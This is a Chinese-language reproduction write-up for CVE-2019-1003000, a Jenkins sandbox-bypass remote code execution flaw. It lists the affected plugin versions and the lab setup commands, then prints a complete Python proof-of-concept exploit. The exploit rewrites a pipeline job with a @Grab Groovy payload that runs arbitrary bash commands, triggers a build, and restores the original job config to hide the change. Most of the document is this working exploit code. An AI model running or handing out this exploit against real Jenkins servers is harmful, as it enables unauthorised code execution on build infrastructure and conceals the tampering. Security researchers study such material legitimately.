（CVE-2019-1003000）Jenkins 远程代码执行漏洞

一、漏洞简介

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释（如\@Grab）应用于源代码元素，可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有"Overall/Read"权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

二、漏洞影响

Declarative Plugin \< 1.3.4.1

Groovy Plugin \< 2.61.1

Script Security Plugin \< 1.50

三、复现过程

环境搭建

gitclone https://github.com/ianxtianxt/cve-2019-1003000-jenkins-rce-poc.git

cdcve-2019-1003000-jenkins-rce-poc

pipinstall -r requirements.txt

cdsample-vuln

./run.sh

输入账号密码user1:user1

*poc进行攻击pythonexploit.py --url http://www.0-sec.org:8080 --job my-pipeline --usernameuser1 --password user1 --cmd "whoami"*

poc

#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins
import time
from xml.etree import ElementTree

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''


def run_command(url, cmd, job_name, username, password):
    print '[+] connecting to jenkins...'
    server = jenkins.Jenkins(url, username, password)

    print '[+] crafting payload...'
    ori_job_config = server.get_job_config(job_name)
    et = ElementTree.fromstring(ori_job_config)
    et.find('definition/script').text = payload % cmd
    job_config = ElementTree.tostring(et, encoding='utf8', method='xml')

    print '[+] modifying job with payload...'
    server.reconfig_job(job_name, job_config)
    time.sleep(3)

    print '[+] putting job build to queue...'
    queue_number = server.build_job(job_name)
    time.sleep(3)

    print '[+] waiting for job to build...'
    queue_item_info = {}
    while 'executable' not in queue_item_info:
        queue_item_info = server.get_queue_item(queue_number)
        time.sleep(1)

    print '[+] restoring job...'
    server.reconfig_job(job_name, ori_job_config)
    time.sleep(3)

    print '[+] fetching output...'
    last_build_number = server.get_job_info(job_name)['lastBuild']['number']
    console_output = server.get_build_console_output(job_name, last_build_number)

    print '[+] OUTPUT:'
    print console_output


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Jenkins RCE')

    parser.add_argument('--url', help='target jenkins url')
    parser.add_argument('--cmd', help='system command to be run')
    parser.add_argument('--job', help='job name')
    parser.add_argument('--username', help='username')
    parser.add_argument('--password', help='password')

    args = parser.parse_args()

    run_command(args.url, args.cmd, args.job, args.username, args.password)

参考链接

https://www.freebuf.com/column/197026.html